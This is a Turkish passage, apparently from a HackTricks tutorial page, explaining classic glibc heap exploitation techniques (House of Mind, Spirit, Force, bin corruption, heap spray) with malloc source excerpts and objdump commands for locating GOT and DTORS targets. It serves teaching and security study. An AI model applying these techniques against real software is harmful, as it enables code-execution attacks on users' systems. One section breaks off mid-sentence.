mchunkptr p;

p = mem2chunk(mes); —> Parçanın başladığı adrese bir işaretçi döndürür (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

[1] kısmında size alanının NON_MAIN_ARENA bitini kontrol eder, bu biti değiştirebiliriz, böylece heap_for_ptr() işlevini çağırırız, bu işlev "mem" üzerinde bir and işlemi yapar ve en önemli 2.5 baytı sıfırlar (örneğin 0x0804a000 için 0x08000000 yapar) ve 0x08000000->ar_ptr'ye erişir (struct heap_info gibi).

Bu şekilde, örneğin 0x0804a000'de kontrol edilebilir bir parçamız varsa ve 0x081002a0'de bir parça serbest bırakılıyorsa, 0x08100000 adresine ulaşabilir ve istediğimiz şeyi yazabiliriz, örneğin 0x0804a000. Bu ikinci parça serbest bırakıldığında, heap_for_ptr(ptr)->ar_ptr'nin 0x08100000'de yazdığımız değeri döndüreceğini görecektir (0x081002a0'ye uygulanan and işlemi nedeniyle ilk 4 baytın değerini alır, yani ar_ptr değerini).

Bu şekilde _int_free(ar_ptr, mem) çağrılır, yani _int_free(0x0804a000, 0x081002a0) çağrılır
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Yukarıda gördüğümüz gibi av değerini kontrol edebiliriz, çünkü serbest bırakılacak parçaya yazdığımız değerdir.

unsorted_chunks olarak tanımlandığı gibi bck = &av->bins[2]-8; ve fwd = bck->fd = *(av->bins[2]); ve fwd->bk = *(av->bins[2] + 12) = p;

Bu nedenle av->bins[2]'ye __DTOR_END__-12 değerini yazarsak, son talimatta __DTOR_END__ adresine ikinci parçanın adresi yaz Bu teknik artık uygulanamaz çünkü unlink için neredeyse aynı yama uygulandı. Yeni hedef siteye de işaret edip etmediği karşılaştırılır.

Fastbin

The house of mind'in bir varyasyonudur.

_int_free() fonksiyonunun ilk kontrolünden sonra aşağıdaki kodu çalıştırmak istiyoruz:

fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Böylece "fb" adresi, GOT'ta bir işlevin adresini gösterir ve bu adrese üzerine yazılacak olan parçanın adresi yerleştirilir. Bunun için arena'nın dtors adreslerine yakın olması gerekmektedir. Daha kesin olarak, av->max_fast'in üzerine yazılacak olan adres olması gerekmektedir.

The House of Mind ile kontrol edilebilir olduğumuzu gördük.

Bu durumda, size alanına 8 + NON_MAIN_ARENA + PREV_INUSE boyutunu girersek, fastbin_index() bize fastbins[-1]'i döndürecektir ve bu da av->max_fast'e işaret edecektir.

Bu durumda av->max_fast üzerine yazılacak olan adres olacak (işaret ettiği değil, üzerine yazılacak olan adres).

Ayrıca, serbest bırakılan parçaya bitişik olan parçanın 8'den büyük olması gerekmektedir -> Serbest bırakılan parçanın boyutunu 8 olarak belirttiğimiz için, bu sahte parçaya sadece 8'den büyük bir boyut yerleştirmemiz gerekmektedir (ayrıca shellcode serbest bırakılan parçada olacağından, sahte parçanın boyut alanının hemen başına nops'a düşen bir jmp koymamız gerekecektir).

Ayrıca, aynı sahte parçanın av->system_mem'den daha küçük olması gerekmektedir. av->system_mem, bu adresin 1848 bayt ötesinde bulunur.

_DTOR_END_ ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri üzerine yazılacak adres olarak kullanılamaz, bu yüzden fastbin'i stack'i hedef almak için nasıl kullanabileceğimize bakalım.

Başka bir saldırı şekli, av'yi stack'e yönlendirmektir.

Size'ı 16 yerine 8 yaparsak: fastbin_index() bize fastbins[0]'ı döndürecektir ve bunu stack'i üzerine yazmak için kullanabiliriz.

Bunun için stack'te canary veya garip değerler olmamalıdır, aslında stack'te şu şekilde olmalıyız: 4 boş bayt + EBP + RET

4 boş bayt, av'nin bu adrese işaret edeceği ve bir av'in ilk öğesinin 0 olması gereken mutexe'nin değeri olması gerekmektedir.

av->max_fast, EBP olacak ve kısıtlamaları atlamamıza yardımcı olacak bir değer olacaktır.

av->fastbins[0], p'nin adresiyle üzerine yazılacak ve RET olacak, böylece shellcode'a atlayacak.

Ayrıca, av->system_mem'de (stack üzerindeki konumdan 1484 bayt yukarıda) atlamamıza izin verecek kadar çöp olmalıdır.

Ayrıca, serbest bırakılan parçaya bitişik olan parçanın 8'den büyük olması gerekmektedir -> Serbest bırakılan parçanın boyutunu 16 olarak belirttiğimiz için, bu sahte parçaya sadece 8'den büyük bir boyut yerleştirmemiz gerekmektedir (ayrıca shellcode serbest bırakılan parçada olacağından, sahte parçanın boyut alanının hemen başına nops'a düşen bir jmp koymamız gerekecektir).

The House of Spirit

Bu durumda, saldırgan tarafından değiştirilebilen bir malloc işaretçisine ihtiyaç duyuyoruz (örneğin, işaretçi bir değişkenin taşmasının altında stack'te bulunuyor).

Böylece, bu işaretçiyi istediğimiz yere yönlendirebiliriz. Ancak, herhangi bir yer geçerli değildir, sahte parçanın boyutu av->max_fast'ten küçük olmalı ve daha spesifik olarak malloc()+8 için gelecekteki bir çağrıda talep edilen boyuta eşit olmalıdır. Bu nedenle, eğer bu savunmasız işaretçiden sonra malloc(40) çağrılıyorsa, sahte parçanın boyutu 48 olmalıdır.

Örneğin, program kullanıcıdan bir sayı istiyorsa, 48 girebilir ve değiştirilebilir malloc işaretçisini takip eden 4 baytı (şanslıysa EBP'ye ait olabilir, bu yüzden 48 arkada kalır gibi) işaretleyebiliriz. Ayrıca, ptr-4+48 adresinin (bu durumda ptr=EBP) birkaç koşulu sağlaması gerekmektedir, yani 8 < ptr-4+48 < av->system_mem.

Bu koşullar sağlandığında, söylediğimiz gibi bir sonraki malloc çağrıldığında, EBP'nin adresi olarak EBP'nin adresi atanır. Saldırgan ayrıca bu malloc'a yazılan verileri kontrol edebiliyorsa, istediği adrese EBP ve EIP'yi üzerine yazabilir.

Bunun nedeni, free() çağrıldığında, stack'in EBP'sine işaret eden adreste yeni malloc() için mükemmel bir boyutta bir parça olduğunu kaydedeceğidir, bu yüzden o adrese atanır.

The House of Force

Gereklidir:

  • Wilderness'ı üzerine yazmaya izin veren bir parçanın taşması
  • Kullanıcı tarafından tanımlanan boyutta bir malloc() çağrısı
  • Kullanıcı tarafından tanımlanan verilere sahip bir malloc() çağrısı

İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) üzerine yazarak, yeterince büyük bir bellek talebi, heap'i genişletmeye gerek kalmadan _int_malloc() tarafından işlenecektir.

İkincisi, av->top'u saldırganın kontrolü altındaki bir bellek bölgesine, örneğin stack'e işaret edecek şekilde değiştirmektir. av->top'a &EIP - 8 yerleştirilir.

av->top'u saldırganın kontrolü altındaki bellek bölgesine işaret edecek şekilde üzerine yazmamız gerekmektedir:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim, mevcut wilderness parçasının adresini (yani mevcut av->top) alır ve remainder, bu adresin malloc() tarafından talep edilen bayt sayısıyla toplamıdır. Bu nedenle, &EIP-8 0xbffff224 adresinde ise ve av->top 0x080c2788 adresini içeriyorsa, av->top'u bir sonraki malloc() için &EIP-8'e işaret edecek şekilde ayarlamak için kontrol edilen malloc() için rezerve edilmesi gereken bayt miktarı

Linux Exploitasyonu - Temel ESP Saldırıları

Heap Overflow ile Kontrol Edilebilir Malloc

Bu saldırı için aşağıdaki gereksinimler vardır:

  • İkinci parçanın serbest bırakıldıktan ve binine yerleştirildikten sonra ilk malloc'a overflow yapılabilir (yani, overflow yapmadan önce ikinci parça üzerinde daha büyük bir malloc yapılmalıdır).
  • Saldırgan tarafından kontrol edilebilen bir adrese sahip olmalıdır.

Amacımız, bir heap üzerinde overflow yapabilmek için altında serbest bırakılmış ve binine yerleştirilmiş bir parçayı değiştirmektir. Bk işaretçisini değiştirerek ve bu parça binin ilk parçası haline geldiğinde bin'i aldatarak, bin'e sahte bir adres (örneğin stack veya GOT) olduğunu söyleyebiliriz. Bu durumda, saldırganın izinleri olan başka bir parça rezerve edildiğinde, istenen konumda bir parça verilecek ve saldırgan bu parçaya yazabilecektir.

Değiştirilen parçanın serbest bırakılmasından sonra, serbest bırakılan parçadan daha büyük bir parça rezerve edilmelidir, böylece değiştirilen parça "unsorted bins"den çıkarılıp kendi binine yerleştirilebilir.

Parçanın binine yerleştirildikten sonra, overflow kullanarak bk işaretçisini istediğimiz adresi gösterecek şekilde değiştirmemiz gerekmektedir.

Bu durumda, bin'in, sahte adresin bir sonraki parçanın adresi olduğuna inanmasını sağlamak için bin'in yeterli sayıda malloc() çağrısını beklemesi gerekmektedir. Ardından istenen parça verilecektir.

Bu saldırının mümkün olduğu en kısa sürede gerçekleşmesi için ideal olan şudur: Zayıf nokta parçasının rezerve edilmesi, değiştirilecek parçanın rezerve edilmesi, bu parçanın serbest bırakılması, değiştirilecek parçadan daha büyük bir parçanın rezerve edilmesi, parça değiştirilmesi (zayıf nokta), zayıf noktadan aynı boyutta bir parça rezerve edilmesi ve ikinci bir parçanın aynı boyutta rezerve edilmesi ve bu parça seçilen adrese işaret edecektir.

Bu saldırıyı korumak için, tipik olarak parçanın "yanlış" olmadığı kontrol edilir: bck->fd'nin victim'a işaret etmediği kontrol edilir. Yani, bizim durumumuzda, stack'te işaretlenen sahte parçanın fd* işaretçisi victim'a işaret ediyorsa. Bu korumayı aşmak için, saldırganın uygun adrese (muhtemelen stack üzerinden) victim'ın adresini bir şekilde yazabilmesi gerekir. Böylece, sahte bir parça gibi görünecektir.

LargeBin Bozulması

Bu saldırı için önceki gereksinimlerin yanı sıra bazı ek gereksinimler vardır ve rezerve edilen parçalar 512'den büyük olmalıdır.

Bu saldırı, önceki saldırıyla aynıdır, yani bk işaretçisini değiştirmek gerekmektedir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak ayrıca değiştirilen parçanın boyutunu nb - MINSIZE'dan küçük olacak şekilde değiştirmek gerekmektedir.

Örneğin, 1552 boyutunu kullanarak 1552 - 1544 = 8 < MINSIZE olacak şekilde boyutu değiştiririz (çıkarma işlemi negatif olamaz çünkü unsigned karşılaştırılır).

Ayrıca, daha da karmaşık hale getirmek için bir yama eklenmiştir.

Heap Spreyi

Temel olarak, mümkün olan tüm belleği heap'ler için rezerve etmek ve bunları nops ile biten bir shellcode ile doldurmaktır. Ayrıca, bir dolgu olarak 0x0c kullanılır. Bu durumda, 0x0c0c0c0c adresine atlamaya çalışılacak ve bu dolguyla çağrılacak herhangi bir adrese üzerine yazılırsa, oraya atlayacaktır. Temel olarak, birçok parça rezerve ederek, herhangi bir işaretçinin üzerine yazılıp yazılmadığını görmek ve 0x0c0c0c0c adresine atlamak için beklemektir, umarız orada nops bulunur.

Heap Feng Shui

Bu saldırı, rezervasyonlar ve serbest bırakmalar aracılığıyla belleği öyle bir şekilde düzenlemeyi içerir ki, serbest bırakılan parçalar arasında rezerve edilmiş parçalar kalır. Taşma yapılacak tampon bir yumurtanın içine yerleştirilir.

Komutlar

  • objdump -d executable —> Fonksiyonları disassembler ile görüntüleme
  • objdump -d ./PROGRAMA | grep FUNCTION —> Fonksiyon adresini almak için
  • objdump -d -Mintel ./shellcodeout —> Shellcode'umuz olduğunu doğrulamak ve OpCodes'ları almak için
  • objdump -t ./exec | grep varBss —> Sembol tablosu, değişken ve fonksiyon adreslerini almak için
  • objdump -TR ./exec | grep exit(func lib) —> Kütüphane fonksiyonlarının adreslerini almak için (GOT)
  • objdump -d ./exec | grep funcCode
  • objdump -s -j .dtors /exec
  • objdump -s -j .got ./exec
  • objdump -t --dynamic-relo ./exec | grep puts —> GOT'ta üzerine yazılacak puts adresini almak için
  • objdump -D ./exec —> Tümünü disassembler ile görüntüleme, plt girişlerine kadar
  • objdump -p -/exec
  • Info functions strncmp —> gdb'de fonksiyon hakkında bilgi almak

İlginç Kurslar

Referanslar

htARTE (HackTricks AWS Red Team Expert) adlı kursla sıfırdan kahraman olmak için HackTricks'i destekleyin!

HackTricks'yi desteklemenin diğer yolları: